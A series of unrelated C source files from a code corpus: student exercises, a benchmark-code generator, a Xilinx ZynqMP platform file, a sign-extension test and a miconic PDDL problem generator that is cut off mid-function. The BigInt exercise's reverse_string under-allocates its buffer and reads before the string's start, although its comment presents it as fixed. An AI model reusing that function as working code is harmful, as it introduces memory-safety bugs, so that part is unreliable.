/*Exercise 4 - Functions Implement the three functions minimum(), maximum() and multiply() below the main() function. Do not change the code given in the main() function when you are implementing your solution.*/ #include <stdio.h> int minimum( int x , int y ) ; int maximum( int x , int y ) ; int multiply( int x , int y ) ; int main() { int no1, no2; printf("Enter a value for no 1 : "); scanf("%d", &no1); printf("Enter a value for no 2 : "); scanf("%d", &no2); printf("%d ", minimum(no1, no2)); printf("%d ", maximum(no1, no2)); printf("%d ", multiply(no1, no2)); return 0; } int minimum( int x , int y ) { if( x < y ) { return x ; } else { return y ; } } int maximum( int x , int y ) { if( x > y ) { return x ; } else { return y ; } } int multiply( int x , int y ) { return x * y ; }
the_stack_data/232955968.c
/* Example code for Exercises in C. This program shows a way to represent a BigInt type (arbitrary length integers) using C strings, with numbers represented as a string of decimal digits in reverse order. Follow these steps to get this program working: 1) Read through the whole program so you understand the design. 2) Compile and run the program. It should run three tests, and they should fail. 3) Fill in the body of reverse_string(). When you get it working, the first test should pass. 4) Fill in the body of itoc(). When you get it working, the second test should pass. 5) Fill in the body of add_digits(). When you get it working, the third test should pass. 6) Uncomment the last test in main. If your three previous tests pass, this one should, too. Note: I had a problem with core-dumping on the last one, and after talking with Dan realized it was because I didn't allocate in memory the resposne in reverse_string so when I was assigning the return type to char *s, it would get removed from memory since its stack frame would disapear. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> /* reverse_string: Returns a new string with the characters reversed. It is the caller's responsibility to free the result. s: string returns: string */ char *reverse_string(char *s) { char* res = (char*)malloc(sizeof(strlen(s)+1)); for(int i = 0; i < strlen(s)+1; i++) { res[i] = s[strlen(s)-i-1]; } return res; } /* ctoi: Converts a character to integer. c: one of the characters '0' to '9' returns: integer 0 to 9 */ int ctoi(char c) { assert(isdigit(c)); return c - '0'; } /* itoc: Converts an integer to character. i: integer 0 to 9 returns: character '0' to '9' */ char itoc(int i) { assert(isdigit('0'+i)); return '0'+i; } /* add_digits: Adds two decimal digits, returns the total and carry. For example, if a='5', b='6', and carry='1', the sum is 12, so the output value of total should be '2' and carry should be '1' a: character '0' to '9' b: character '0' to '9' c: character '0' to '9' total: pointer to char carry: pointer to char */ void add_digits(char a, char b, char c, char *total, char *carry) { int a_num = ctoi(a); int b_num = ctoi(b); int c_num = ctoi(c); int sum = a_num + b_num + c_num; *total = itoc(sum%10); *carry = itoc(sum/10); } /* Define a type to represent a BigInt. Internally, a BigInt is a string of digits, with the digits in reverse order. */ typedef char * BigInt; /* add_bigint: Adds two BigInts Stores the result in z. x: BigInt y: BigInt carry_in: char z: empty buffer */ void add_bigint(BigInt x, BigInt y, char carry_in, BigInt z) { char total, carry_out; int dx=1, dy=1, dz=1; char a, b; /* OPTIONAL TODO: Modify this function to allocate and return z * rather than taking an empty buffer as a parameter. * Hint: you might need a helper function. */ if (*x == '\0') { a = '0'; dx = 0; }else{ a = *x; } if (*y == '\0') { b = '0'; dy = 0; }else{ b = *y; } // printf("%c %c %c\n", a, b, carry_in); add_digits(a, b, carry_in, &total, &carry_out); // printf("%c %c\n", carry_out, total); // if total and carry are 0, we're done if (total == '0' && carry_out == '0') { *z = '\0'; return; } // otherwise store the digit we just computed *z = total; // and make a recursive call to fill in the rest. add_bigint(x+dx, y+dy, carry_out, z+dz); } /* print_bigint: Prints the digits of BigInt in the normal order. big: BigInt */ void print_bigint(BigInt big) { char c = *big; if (c == '\0') return; print_bigint(big+1); printf("%c", c); } /* make_bigint: Creates and returns a BigInt. Caller is responsible for freeing. s: string of digits in the usual order returns: BigInt */ BigInt make_bigint(char *s) { char *r = reverse_string(s); return (BigInt) r; } void test_reverse_string() { char *s = "123"; char *t = reverse_string(s); if (strcmp(t, "321") == 0) { printf("reverse_string passed\n"); } else { printf("reverse_string failed\n"); } free(t); } void test_itoc() { char c = itoc(3); if (c == '3') { printf("itoc passed\n"); } else { printf("itoc failed\n"); } } void test_add_digits() { char total, carry; add_digits('7', '4', '1', &total, &carry); if (total == '2' && carry == '1') { printf("add_digits passed\n"); } else { printf("add_digits failed\n"); } } void test_add_bigint() { char *s = "1"; char *t = "99999999999999999999999999999999999999999999"; char *res = "000000000000000000000000000000000000000000001"; BigInt big1 = make_bigint(s); BigInt big2 = make_bigint(t); BigInt big3 = malloc(100); add_bigint(big1, big2, '0', big3); if (strcmp(big3, res) == 0) { printf("add_bigint passed\n"); } else { printf("add_bigint failed\n"); } } int main (int argc, char *argv[]) { test_reverse_string(); test_itoc(); test_add_digits(); //TODO: When you have the first three functions working, // uncomment the following, and it should work. test_add_bigint(); return 0; }
the_stack_data/1133715.c
#include <stdio.h> #include <strings.h> #include <fcntl.h> #include <syscall.h> #include <stdlib.h> static int entries = 0; static int so_max = 0, chain_max = 0, depth_max = 0; #define PERM 666 #define paste(front, back) front ## back int chk_full(int* rand_array, int max_blocks); void get_rand(int* rand_array, int max_blocks); static int genC (int star_so, int chain, int depth, FILE* fp, FILE* fp_header, int* rand_array) { int j, depth_p, even_p; fprintf (fp_header,"extern long FOO_%03d_%03d_%03d (long n, long m);\n", star_so,chain,depth); fprintf (fp,"//\n"); fprintf (fp,"//\n"); fprintf (fp,"#include <stdio.h>\n"); fprintf (fp,"typedef long (*FOO_pt) (long,long);\n"); fprintf (fp,"extern FOO_pt *FOO_global;\n"); fprintf (fp,"\n"); fprintf (fp,"long FOO_%03d_%03d_%03d (long n, long m)\n", star_so,chain,depth); fprintf (fp,"{\n"); fprintf (fp,"#include \"FOO.h\"\n"); fprintf (fp,"FOO_pt *FOO_array;\n"); fprintf (fp,"\tFOO_array = FOO_global;\n"); // fprintf (fp,"\tfprintf(stderr,\" %%ld \\n\",n);"); fprintf (fp,"\n"); fprintf (fp,"\tlong depth=0,max_depth=%d;\n",depth_max); fprintf (fp,"\t__asm__( \n"); fprintf (fp,"\t\".align 64\\n\\t\"\n"); for(j=0;j<50;j++){ fprintf (fp,"\t\"xorq %%rdx, %%rdx\\n\\t\"\n"); } fprintf (fp,"\t);\n"); depth_p = rand_array[depth]; // fprintf(fp,"\tdepth=%ld;\n",depth_p); // fprintf (fp,"\tfprintf(stderr,\" %%ld, %%ld, %%ld \\n\", n,m,depth);"); fprintf (fp,"\tif((long)(m+1) < max_depth)\n"); fprintf(fp,"\t\tFOO_array[n+%d]( n, m+1);\n",depth_p); fprintf(fp,"\treturn n;\n"); fprintf (fp,"}\n"); return 0; } static int create_source(int max_so, int max_chain, int max_depth, int* rand_array) { int i,j,k,rval; FILE * fp, * fp_header; char filename[100]; fp_header = fopen("FOO.h","w+"); fprintf(fp_header,"typedef long (*FOO_pt) (long,long);\n"); for(i=0; i<max_so; i++){ for(j=0; j<max_chain; j++){ get_rand(rand_array, max_depth); for(k=0; k<max_depth; k++){ sprintf(filename,"FOO_%03d_%03d_%03d.c",i,j,k); fp = fopen(filename,"w+"); rval =genC(i,j,k,fp, fp_header, rand_array); rval=fclose(fp); } } } rval=fclose(fp_header); return 0; } static int create_main(int max_so, int max_chain, int max_depth, int* rand_array) { int i,j,k,rval; FILE * fp_main; char filename[100]; fp_main = fopen("FOO_main.c","w+"); fprintf (fp_main,"//\n"); fprintf (fp_main,"//\n"); fprintf (fp_main,"#include <stdio.h>\n"); fprintf (fp_main,"#include <stdlib.h>\n"); fprintf (fp_main,"#include <malloc.h>\n"); fprintf (fp_main,"typedef long (*FOO_pt) (long,long );\n"); fprintf (fp_main,"FOO_pt *FOO_global;\n"); fprintf (fp_main,"\n"); fprintf (fp_main,"int main(int argc, char* argv[])\n"); fprintf (fp_main,"{\n"); fprintf (fp_main,"#include \"FOO.h\"\n"); fprintf (fp_main,"FOO_pt FOO_array[%d];\n",max_depth*max_chain*max_so); // fprintf (fp_main,"FOO_pt *FOO_array;\n"); fprintf (fp_main,"\tlong i=0, d=0;\n"); fprintf (fp_main,"\tlong j,k,m,n=0,loop;\n"); fprintf (fp_main,"\tloop=atol(argv[1]);\n"); fprintf (fp_main,"\tm=%d;\n",max_depth*max_chain*max_so); // fprintf (fp_main,"\tFOO_array = (FOO_pt *)malloc(sizeof(FOO_pt)*m);\n"); fprintf (fp_main,"\tFOO_global = FOO_array;\n"); for(i=0; i<max_so; i++){ for(j=0; j<max_chain; j++){ for(k=0; k<max_depth; k++){ fprintf (fp_main,"\t\tFOO_array[n] = &FOO_%03d_%03d_%03d;\n",i,j,k); fprintf (fp_main, "\t\tn++;\n"); } } } fprintf (fp_main,"\tfor(k=0;k<loop;k++){\n"); fprintf (fp_main,"\tn=0;\n"); for(i=0; i<max_so; i++){ for(j=0; j<max_chain; j++){ fprintf(fp_main, "\t\td = 0;\n"); fprintf(fp_main, "\t\tFOO_array[n](n,d);\n"); fprintf (fp_main,"\tn+=%d;\n",max_depth); } } fprintf (fp_main,"\t}\n"); fprintf (fp_main,"\n"); fprintf (fp_main,"\treturn 0;\n"); fprintf (fp_main,"}\n"); rval=fclose(fp_main); return 0; } void get_rand(int* rand_array, int max_blocks) { int i, r, idx, val, iter=0;; for (i=0; i < max_blocks; i++) { rand_array[i] = -1; } idx=0; for(;;) { iter++; val = rand(); for(;;) { r = rand()%max_blocks; if (rand_array[r] == -1) break; } if (rand_array[idx] == -1 && idx != r) { rand_array[idx] = (int)r; idx = r; } /* if ((iter%100) == 0) { Sleep(100); printf ("r=%d\tidx=%d\trand[]=%d\n", r, idx, rand_array[idx]); } */ if (chk_full(rand_array, max_blocks) == 1) { rand_array[idx] = (int)max_blocks; rand_array[idx] = 0; //0 to max_blocks - 1 break; } } /* for (i=0; i < max_blocks; i++) { printf ("%.4d\t%.4d\n", i, rand_array[i]); //if ((i%15) ==0) printf("\n"); } */ } int chk_full(int* rand_array, int max_blocks) { int cnt=0, i; for (i=0; i < max_blocks; i++) { if (rand_array[i] == (int)-1) { cnt++; } } return cnt; } main(int argc, char* argv[]) { int max_so,max_chain,max_depth, rval; int * rand_array; if(argc < 4){ printf("generator needs three input numbers, argc = %d\n",argc); exit(1); } max_so = atoi(argv[1]); max_chain = atoi(argv[2]); max_depth = atoi(argv[3]); printf (" max_s0 = %03d, max_chain = %03d, max_depth= %03d\n",max_so,max_chain,max_depth); depth_max=max_depth; chain_max = max_chain; so_max=so_max; rand_array = (int*) malloc( max_depth*sizeof(int)); get_rand(rand_array, max_depth); rval = create_source(max_so,max_chain,max_depth, rand_array); get_rand(rand_array, max_depth); rval = create_main(max_so,max_chain,max_depth, rand_array); }
the_stack_data/50137695.c
#include <stdio.h> #define LOWER 0 /* lower limit of table */ #define UPPER 300 /* upper limit */ #define STEP 20 /* step size */ /* print Fahrenheit-Celsius table */ int main() { int fahr; for (fahr = LOWER; fahr <= UPPER; fahr = fahr + STEP) printf("%3d %6.1f\n", fahr, (5.0/9.0)*(fahr-32)); }
the_stack_data/115765755.c
// // 8_5_fsize.c // c_exercises // // Created by 王显朋 on 2019/4/28. // Copyright © 2019年 wongxp. All rights reserved. // #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/dir.h> #include <stdlib.h> #define NAME_MAX 14 #define PATH_MAX 1024 // Directory Entry typedef struct { long ino; char name[NAME_MAX+1]; } Dirent_85; // DIR typedef struct { int fd; Dirent_85 d; } DIR_85; int main_8_5(int argc, char *argv[]) { return 0; } // fsize: print inode #, mode, links, size of file, filename void fsize_8_5(char *name) { } // dirwalk: apply fcn to all files in dir void dirwalk_85(char *dirname, void (*fcn)(char *)) { } // opendir: open a directory for readdir calls DIR_85 *opendir_85(char *dirname) { int fd; struct stat stbuf; DIR_85 *dp; // 是否能正常打开 // 是否能获取状态 // 状态是否正常 // 是否成功申请空间 if ((fd = open(dirname, O_RDONLY, 0)) == -1 || fstat(fd, &stbuf) == -1 || (stbuf.st_mode & S_IFMT) != S_IFDIR || (dp = (DIR_85 *)malloc(sizeof(DIR_85))) == NULL) { return NULL; } dp->fd = fd; return dp; } // readdir: read directory entry in sequence // local directory structure of mac os??? Dirent_85 *readdir_85(DIR_85 *dp) { return (Dirent_85 *) 0; } // closedir: close directory opened by opendir void closedir_85(DIR_85 *dp) { }
the_stack_data/122016377.c
/* * Copyright (C) 2015 - 2019 Xilinx, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * */ /* * platform_zynqmp.c * * ZynqMP platform specific functions. * * * </pre> */ #if defined (__arm__) || defined (__aarch64__) #include "platform_config.h" #if defined(PLATFORM_ZYNQMP) || defined(PLATFORM_VERSAL) #include "xparameters.h" #include "xparameters_ps.h" /* defines XPAR values */ #include "xil_cache.h" #include "xscugic.h" #include "lwip/tcp.h" #include "xil_printf.h" #include "netif/xadapter.h" #include "xttcps.h" #include "xtime_l.h" #define INTC_DEVICE_ID XPAR_SCUGIC_SINGLE_DEVICE_ID #define TIMER_DEVICE_ID XPAR_XTTCPS_0_DEVICE_ID #define TIMER_IRPT_INTR XPAR_XTTCPS_0_INTR #define INTC_BASE_ADDR XPAR_SCUGIC_0_CPU_BASEADDR #define INTC_DIST_BASE_ADDR XPAR_SCUGIC_0_DIST_BASEADDR #define PLATFORM_TIMER_INTR_RATE_HZ (4) static XTtcPs TimerInstance; static u16 Interval; static u8 Prescaler; volatile int TcpFastTmrFlag = 0; volatile int TcpSlowTmrFlag = 0; #if LWIP_DHCP==1 volatile int dhcp_timoutcntr = 24; void dhcp_fine_tmr(); void dhcp_coarse_tmr(); #endif void platform_clear_interrupt( XTtcPs * TimerInstance ); void timer_callback(XTtcPs * TimerInstance) { /* we need to call tcp_fasttmr & tcp_slowtmr at intervals specified * by lwIP. It is not important that the timing is absoluetly accurate. */ static int odd = 1; #if LWIP_DHCP==1 static int dhcp_timer = 0; #endif TcpFastTmrFlag = 1; odd = !odd; if (odd) { TcpSlowTmrFlag = 1; #if LWIP_DHCP==1 dhcp_timer++; dhcp_timoutcntr--; dhcp_fine_tmr(); if (dhcp_timer >= 120) { dhcp_coarse_tmr(); dhcp_timer = 0; } #endif } platform_clear_interrupt(TimerInstance); } void platform_setup_timer(void) { int Status; XTtcPs * Timer = &TimerInstance; XTtcPs_Config *Config; Config = XTtcPs_LookupConfig(TIMER_DEVICE_ID); Status = XTtcPs_CfgInitialize(Timer, Config, Config->BaseAddress); if (Status != XST_SUCCESS) { xil_printf("In %s: Timer Cfg initialization failed...\r\n", __func__); return; } XTtcPs_SetOptions(Timer, XTTCPS_OPTION_INTERVAL_MODE | XTTCPS_OPTION_WAVE_DISABLE); XTtcPs_CalcIntervalFromFreq(Timer, PLATFORM_TIMER_INTR_RATE_HZ, &Interval, &Prescaler); XTtcPs_SetInterval(Timer, Interval); XTtcPs_SetPrescaler(Timer, Prescaler); } void platform_clear_interrupt( XTtcPs * TimerInstance ) { u32 StatusEvent; StatusEvent = XTtcPs_GetInterruptStatus(TimerInstance); XTtcPs_ClearInterruptStatus(TimerInstance, StatusEvent); } void platform_setup_interrupts(void) { Xil_ExceptionInit(); XScuGic_DeviceInitialize(INTC_DEVICE_ID); /* * Connect the interrupt controller interrupt handler to the hardware * interrupt handling logic in the processor. */ Xil_ExceptionRegisterHandler(XIL_EXCEPTION_ID_IRQ_INT, (Xil_ExceptionHandler)XScuGic_DeviceInterruptHandler, (void *)INTC_DEVICE_ID); /* * Connect the device driver handler that will be called when an * interrupt for the device occurs, the handler defined above performs * the specific interrupt processing for the device. */ XScuGic_RegisterHandler(INTC_BASE_ADDR, TIMER_IRPT_INTR, (Xil_ExceptionHandler)timer_callback, (void *)&TimerInstance); /* * Enable the interrupt for scu timer. */ XScuGic_EnableIntr(INTC_DIST_BASE_ADDR, TIMER_IRPT_INTR); return; } void platform_enable_interrupts() { /* * Enable non-critical exceptions. */ Xil_ExceptionEnableMask(XIL_EXCEPTION_IRQ); XScuGic_EnableIntr(INTC_DIST_BASE_ADDR, TIMER_IRPT_INTR); XTtcPs_EnableInterrupts(&TimerInstance, XTTCPS_IXR_INTERVAL_MASK); XTtcPs_Start(&TimerInstance); return; } void init_platform() { platform_setup_timer(); platform_setup_interrupts(); return; } void cleanup_platform() { Xil_ICacheDisable(); Xil_DCacheDisable(); return; } u64_t get_time_ms() { #define COUNTS_PER_MILLI_SECOND (COUNTS_PER_SECOND/1000) #if defined(ARMR5) XTime tCur = 0; static XTime tlast = 0, tHigh = 0; u64_t time; XTime_GetTime(&tCur); if (tCur < tlast) tHigh++; tlast = tCur; time = (((u64_t) tHigh) << 32U) | (u64_t)tCur; return (time/COUNTS_PER_MILLI_SECOND); #else XTime tCur = 0; XTime_GetTime(&tCur); return (tCur/COUNTS_PER_MILLI_SECOND); #endif } #endif #endif
the_stack_data/152588.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { if (2 > argc) { printf("Nombre de parametres insuffisants\n"); return 1; } int value = atoi(argv[1]); printf("Entier suivant : %i \n", value+1); return 0; }
the_stack_data/70450516.c
/* * Test sign extensions on short signed values passed as arguments * to function calls. Include arithmetic to produce extra high bits * from operations that overflow. Lots of codes do this! */ #include <stdio.h> #include <stdarg.h> #include <inttypes.h> short getShort(char c, char c2, char c3, short s, short s2, int i); int getUnknown(char c, ...); int passShort(char c, short s) { char c2 = s + c; char c3 = s - c; short s2 = s * c; int i = s * s * c * c; short s3 = getShort(c, c2, c3, s, s2, i); /* args shd be sign-extended */ return getUnknown(c, c2, c3, s, s2, s3, i); /* args shd be promoted to int */ } int main() { printf("%d\n", passShort(0x80, 0xf0f4)); return 0; } short getShort(char c, char c2, char c3, short s, short s2, int i) { int bc = c == (char) -128; int bc2 = c2 == (char) 116; int bc3 = c3 == (char) 116; int bs = s == (short) -3852; int bs2 = s2 == (short) -31232; int bi = i == (int) -1708916736; printf("getShort():\t%d %d %d %d %d %d\n", bc, bc2, bc3, bs, bs2, bi); printf("getShort():\t%d %d %d %d %d %d\n", c, c2, c3, s, s2, i); return (c + c2 + c3 + s + s2) + (short) i; } int getUnknown(char c, ...) { char c2, c3; short s, s2, s3; int i; va_list ap; va_start(ap, c); c2 = (char) va_arg(ap, int); c3 = (char) va_arg(ap, int); s = (short) va_arg(ap, int); s2 = (short) va_arg(ap, int); s3 = (short) va_arg(ap, int); i = va_arg(ap, int); va_end(ap); printf("getUnknown():\t%d %d %d %d %d %d %d\n", c, c2, c3, s, s2, s3, i); return c + c2 + c3 + s + s2 + s3 + i; }
the_stack_data/860212.c
/********************************************************************* * (C) Copyright 2001 Albert Ludwigs University Freiburg * Institute of Computer Science * * All rights reserved. Use of this software is permitted for * non-commercial research purposes, and it may be copied only * for that use. All copies must include this copyright message. * This software is made available AS IS, and neither the authors * nor the Albert Ludwigs University Freiburg make any warranty * about the software or its performance. *********************************************************************/ /* * C code for generating random #floors #passengers miconic problems. * * mixed mode: user specifies probabilities for passengers being of any type * */ #include <stdlib.h> #include <stdio.h> #include <sys/timeb.h> /* data structures ... (ha ha) */ typedef unsigned char Bool; #define TRUE 1 #define FALSE 0 /* helpers */ /* random problem generation */ void create_random_types( void ); void create_random_journeys( void ); void create_random_no_access_facts( void ); Bool is_up_down( int p ); Bool is_vip( int p ); Bool is_going_nonstop( int p ); Bool is_attendant( int p ); Bool is_never_alone( int p ); Bool is_con_A( int p ); Bool is_con_B( int p ); Bool is_no_access( int p ); /* printing */ void print_all_type_lists( void ); void print_no_access_facts( void ); /* command line */ void usage( void ); Bool process_command_line( int argc, char *argv[] ); /* globals */ /* command line params */ int gfloors, gpassengers; int gp_up_down, gp_vip, gp_going_nonstop; int gp_attendant, gp_never_alone, gp_con_A, gp_con_B; int gp_no_access, gp_no_access_floors; /* lists of types; passengers are those that have not been assigned any * special type. */ int *gpassenger, *gup_down, *gvip, *ggoing_nonstop; int *gattendant, *gnever_alone, *gcon_A, *gcon_B; int *gno_access, **gno_access_floors, *gnum_no_access_floors; int gnum_passenger, gnum_up_down, gnum_vip, gnum_going_nonstop; int gnum_attendant, gnum_never_alone, gnum_con_A, gnum_con_B; int gnum_no_access; /* final random journeys */ int *gorigin, *gdestin; int main( int argc, char *argv[] ) { int i, j; /* seed the random() function */ struct timeb tp; ftime( &tp ); srandom( tp.millitm ); /* command line treatment, first preset all values */ gfloors = -1; gpassengers = -1; gp_up_down = 0; gp_vip = 0; gp_going_nonstop = 0; gp_attendant = 0; gp_never_alone = 0; gp_con_A = 0; gp_con_B = 0; gp_no_access = 0; gp_no_access_floors = 0; if ( argc == 1 || ( argc == 2 && *++argv[0] == '?' ) ) { usage(); exit( 1 ); } if ( !process_command_line( argc, argv ) ) { usage(); exit( 1 ); } /* create randomized problem; * * start by assigning types to all passengers according to * defined percentage values. */ create_random_types(); /* now design random journeys, respecting restrictions to * help problem becoming solvable */ create_random_journeys(); /* finally, design no access information, also due to reasonable * restrictions for helping problem being solvable */ create_random_no_access_facts(); /* now output problem in PDDL syntax */ printf("\n\n\n"); /* header */ printf("(define (problem mixed-f%d-p%d-u%d-v%d-d%d-a%d-n%d-A%d-B%d-N%d-F%d)", gfloors, gpassengers, gp_up_down, gp_vip, gp_going_nonstop, gp_attendant, gp_never_alone, gp_con_A, gp_con_B, gp_no_access, gp_no_access_floors); printf("\n (:domain miconic)"); /* objects */ printf("\n (:objects "); /* separated this from main for the sake of clarity */ print_all_type_lists(); /* now add the floors */ for ( i = 0; i < gfloors; i++ ) { // if ( i != 0 && i % 10 == 0 ) { // printf("\n "); // } printf("f%d ", i); } printf("- floor"); printf(")"); /* initial state */ printf("\n\n\n(:init"); for ( i = 0; i < gfloors - 1; i++ ) { for ( j = i + 1; j < gfloors; j++ ) { printf("\n(above f%d f%d)", i, j); } printf("\n"); } printf("\n\n"); for ( i = 0; i < gpassengers; i++ ) { printf("\n(origin p%d f%d)", i, gorigin[i]); printf("\n(destin p%d f%d)", i, gdestin[i]); printf("\n"); } printf("\n\n"); print_no_access_facts(); printf("\n\n\n"); printf("\n(lift-at f0)"); printf("\n)"); /* goal condition */ printf("\n\n\n(:goal (and "); for ( i = 0; i < gpassengers; i++ ) { printf("\n(served p%d)", i); } printf("\n))"); /* that's it */ printf("\n)"); printf("\n\n\n"); exit( 0 ); } /* random problem generation functions */ void create_random_types( void ) { int i, j, n, p; gnum_passenger = 0; gnum_up_down = 0; gnum_vip = 0; gnum_going_nonstop = 0; gnum_attendant = 0; gnum_never_alone = 0; gnum_con_A = 0; gnum_con_B = 0; gpassenger = ( int * ) calloc( gpassengers, sizeof( int ) ); gup_down = ( int * ) calloc( gpassengers, sizeof( int ) ); gvip = ( int * ) calloc( gpassengers, sizeof( int ) ); ggoing_nonstop = ( int * ) calloc( gpassengers, sizeof( int ) ); gattendant = ( int * ) calloc( gpassengers, sizeof( int ) ); gnever_alone = ( int * ) calloc( gpassengers, sizeof( int ) ); gcon_A = ( int * ) calloc( gpassengers, sizeof( int ) ); gcon_B = ( int * ) calloc( gpassengers, sizeof( int ) ); n = ( int ) gpassengers * ( (( float ) gp_up_down) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_up_down( p ) ); gup_down[gnum_up_down++] = p; } n = ( int ) gpassengers * ( (( float ) gp_vip) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_vip( p ) ); gvip[gnum_vip++] = p; } n = ( int ) gpassengers * ( (( float ) gp_going_nonstop) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_going_nonstop( p ) ); ggoing_nonstop[gnum_going_nonstop++] = p; /* it might seem that for a going going_nonstop, it's nonsense to also be * up_down; however, going going_nonstop only prevents the lift from STOPPING * at a different location than the destin. It can still move * up and down as often as it likes... * * therefore, do not remove a passenger from up_down once we found that * he also is going_nonstop */ } n = ( int ) gpassengers * ( (( float ) gp_never_alone) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_never_alone( p ) ); gnever_alone[gnum_never_alone++] = p; } /* attendant s only if there is at least one never_alone ! */ if ( gnum_never_alone > 0 ) { n = ( int ) gpassengers * ( (( float ) gp_attendant) / 100.0 ); if ( n == 0 ) n++;/* at least one attendant */ for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; /* never_alone s don't attend themselves ! */ } while ( is_attendant( p ) || is_never_alone( p ) ); gattendant[gnum_attendant++] = p; } } /* now desing conflict groups; here also, a passenger can not belong to * both. */ n = ( int ) gpassengers * ( (( float ) gp_con_A) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_con_A( p ) ); gcon_A[gnum_con_A++] = p; } /* B s only if there is at least one A ! */ if ( gnum_con_A > 0 ) { n = ( int ) gpassengers * ( (( float ) gp_con_B) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; /* no member of both groups */ } while ( is_con_B( p ) || is_con_A( p ) ); gcon_B[gnum_con_B++] = p; } } /* collect untyped passengers */ for ( i = 0; i < gpassengers; i++ ) { if ( is_up_down( i ) ) continue; if ( is_vip( i ) ) continue; if ( is_going_nonstop( i ) ) continue; if ( is_attendant( i ) ) continue; if ( is_never_alone( i ) ) continue; if ( is_con_A( i ) ) continue; if ( is_con_B( i ) ) continue; gpassenger[gnum_passenger++] = i; } } void create_random_journeys( void ) { int i, j; gorigin = ( int * ) calloc( gpassengers, sizeof( int ) ); gdestin = ( int * ) calloc( gpassengers, sizeof( int ) ); for ( i = 0; i < gpassengers; i++ ) { /* set the origin ... */ while( TRUE ) { gorigin[i] = random() % gfloors; /* no conflict A s AND B s at the same origin floor */ if ( is_con_A( i ) ) { for ( j = 0; j < i; j++ ) { if ( gorigin[j] == gorigin[i] && is_con_B( j ) ) break; } if ( j < i ) continue; } if ( is_con_B( i ) ) { for ( j = 0; j < i; j++ ) { if ( gorigin[j] == gorigin[i] && is_con_A( j ) ) break; } if ( j < i ) continue; } /* also, do not put conflict people together with vip s to the * same origin or destin floor: in both cases, the lift is * forced to take in a conflict person, and might have to stop * at a floor where a different conflict person might be waiting... */ if ( is_con_A( i ) || is_con_B( i ) ) { for ( j = 0; j < i; j++ ) { if ( ( gorigin[j] == gorigin[i] || gdestin[j] == gorigin[i] ) && is_vip( j ) ) { break; } } if ( j < i ) continue; } /* no other constraints for origin floors ... ? */ break; } /* set the destin ... */ while( TRUE ) { gdestin[i] = random() % gfloors; /* do not move to the same floor ... */ if ( gdestin[i] == gorigin[i] ) continue; /* no going_up s together with going_down s */ if ( is_up_down( i ) ) { for ( j = 0; j < i; j++ ) { if ( !is_up_down( j ) ) continue; if ( ( gorigin[j] < gdestin[j] && gorigin[i] > gdestin[i] ) || ( gorigin[j] > gdestin[j] && gorigin[i] < gdestin[i] ) ) { break; } } if ( j < i ) continue; } /* at the destin of a vip, no never_alone should be waiting: * the lift does then not always have a chance to collect an attendant * before stopping at that location. */ if ( is_vip( i ) ) { for ( j = 0; j < i; j++ ) { if ( gorigin[j] == gdestin[i] && is_never_alone( j ) ) { break; } } if ( j < i ) continue; } /* also, no conflict person in the vip's destin: do not force the lift * to take in conflicts. */ if ( is_vip( i ) ) { for ( j = 0; j < i; j++ ) { if ( gorigin[j] == gdestin[i] && ( is_con_A( j ) || is_con_B( j ) ) ) { break; } } if ( j < i ) continue; } /* if he is going going_nonstop, then he is forced to move to the * same destin as any other going_nonstop with the same origin * floor. */ if ( is_going_nonstop( i ) ) { for ( j = 0; j < i; j++ ) { if ( is_going_nonstop( j ) ) break; } if ( j < i ) { gdestin[i] = gdestin[j]; break; } } /* no other constraints for destin floors ... ? */ break; } } } void create_random_no_access_facts( void ) { int i, j, k, p, n, pp; gno_access = ( int * ) calloc( gpassengers, sizeof( int ) ); gno_access_floors = ( int ** ) calloc( gpassengers, sizeof( int * ) ); gnum_no_access_floors = ( int * ) calloc( gpassengers, sizeof( int ) ); for ( i = 0; i < gpassengers; i++ ) { gno_access_floors[i] = ( int * ) calloc( gfloors, sizeof( int ) ); gnum_no_access_floors[i] = 0; } gnum_no_access = 0; n = ( int ) gpassengers * ( (( float ) gp_no_access) / 100.0 ); for ( j = 0; j < n; j++ ) { do { p = random() % gpassengers; } while ( is_no_access( p ) ); gno_access[gnum_no_access++] = p; } for ( i = 0; i < gnum_no_access; i++ ) { p = gno_access[i]; for ( j = 0; j < gfloors; j++ ) { pp = random() % 100; if ( pp >= gp_no_access_floors ) continue; /* access to origin and destin must be allowed, of course. */ if ( gorigin[p] == j || gdestin[p] == j ) { continue; } /* persons in origins or destins of vips shall have * access to all dests of vips; they will likely be moved there * anyway. */ for ( k = 0; k < gpassengers; k++ ) { if ( k == p || !is_vip( k ) ) continue; if ( 